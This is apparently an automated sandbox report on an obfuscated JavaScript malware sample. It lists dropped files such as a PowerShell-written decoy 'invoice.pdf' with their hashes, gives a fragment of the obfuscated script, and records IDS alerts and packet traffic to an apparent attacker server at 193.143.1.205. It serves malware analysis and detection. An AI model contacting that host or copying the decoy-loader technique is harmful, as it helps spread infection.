Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\64d33c4f-2800-426f-9a9c-717dee79c67f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d20f5d50-43cb-4b26-bfb7-2e62dbe5db09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\eb4a7099-5433-4460-b63d-729a4a6ef151.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLcGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLcGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A46246FAEAB95D87F5B4FE236C2B3D3E
SHA1:	7F018DB9238A63FEAD8D11A92297E7366058A75A
SHA-256:	7E822FECC47177C5A7F4C250E7D53509D104DE68B0D0CE9445877B508400988E
SHA-512:	8AAB79958BF39F014FBA7F69287FE0C357746E63FA3482DE3231BDF4A97B964A0815DAF7BFE9751C55BA6BE618E0A964CEB23FC30B4FA9DFEB284F42EBA897BF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14829), with CRLF line terminators
Entropy (8bit):	4.922536761361088
TrID:
File name:	206038195771531175.js
File size:	18'286 bytes
MD5:	6e9e3be31dceb44434846b18bfb0f218
SHA1:	363f8264df43ce5f4afe1f1b376cb235412eb093
SHA256:	67770faba18c011f49fb6f02e6941191f0195b1a895cdd3cf2930d186f45a141
SHA512:	e0485bd95512070ebd28a820c0037ac6f073c89825b4e064f95f3c3c9e546b4d319f0d5955151c6050c28c2e319a9d90c401a2eebb38b865dea5bd062bf1a0fc
SSDEEP:	384:dtH1BeIqVQoS6D559v1kdGDgW/gHZoH1yd9Qn6AbzgGj/Kjh/TZXNFbhYIA6MdN2:d5XqVQoS6D559v1kdGDgW/gHZoH1yd9L
TLSH:	7582A593A65A43AECACC35F045CD866495EE270CA9C74CDEF9417402290CC5CB7EBDB9
File Content Preview:	function luakgj(){umbfxw=[1031,3079,5127,4103,2055,3072];var mxnac=this[ezfwcb+mhzzcjgo+mpmmlv+fmoiimt+vxglvfk+tcpbvyf+rregesnfk+hxoju](this[rwdtlz+kvtlf+sggofax+mpmmlv+mlmzl+ezfwcb+hxoju][dfbqkyyae+mpmmlv+vxglvfk+mhzzcjgo+hxoju+vxglvfk+ydjdpir+azxyljys+g

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:21:08.382580+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49705	193.143.1.205	80	TCP
2025-01-10T22:21:11.076646+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:21:07.534907103 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:07.539796114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:07.539892912 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:07.543066025 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:07.547929049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382483006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382518053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382580042 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.382602930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382620096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382632017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382646084 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382658005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382669926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382682085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382694960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.382724047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.382724047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.382746935 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.387581110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.436357975 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.439517975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.439532042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.439655066 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.507654905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507672071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507683992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507730961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.507787943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507802010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507822990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507834911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507844925 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.507853985 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.507891893 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.507891893 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.508579969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508625031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508708954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.508743048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508821011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508832932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508843899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.508865118 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.508919001 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.509469032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.509480000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.509490967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.509502888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.509517908 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.509533882 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.509630919 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.510278940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.510298014 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.510309935 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.510340929 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.510340929 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.572916031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.572935104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.573333979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.610234022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.610250950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.610261917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.610405922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633059025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633074999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633085966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633097887 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633111000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633166075 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633232117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633266926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633285999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633297920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633341074 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633476019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633565903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633579016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633586884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633589983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633601904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633608103 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633614063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.633644104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.633658886 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.634460926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634473085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634479046 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634485006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634490967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634500980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634507895 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634520054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.634548903 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.634593964 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.635454893 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635468006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635478973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635489941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635503054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635514021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635525942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635540009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.635555983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.635593891 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.635593891 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.636301041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636312962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636322975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636332989 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636343956 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636354923 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636365891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636369944 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.636378050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.636409044 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.636409998 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.636456966 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.637204885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.663374901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.663392067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.663403034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.663418055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.663425922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.663521051 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.700679064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.700697899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.700777054 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.735163927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735179901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735264063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735274076 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.735321045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735332012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735343933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735363007 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.735366106 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.735382080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758189917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758210897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758224010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758235931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758249044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758249044 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758275032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758330107 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758346081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758357048 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758411884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758416891 CET	80	49705	193.143.1.205	192.168.2.10
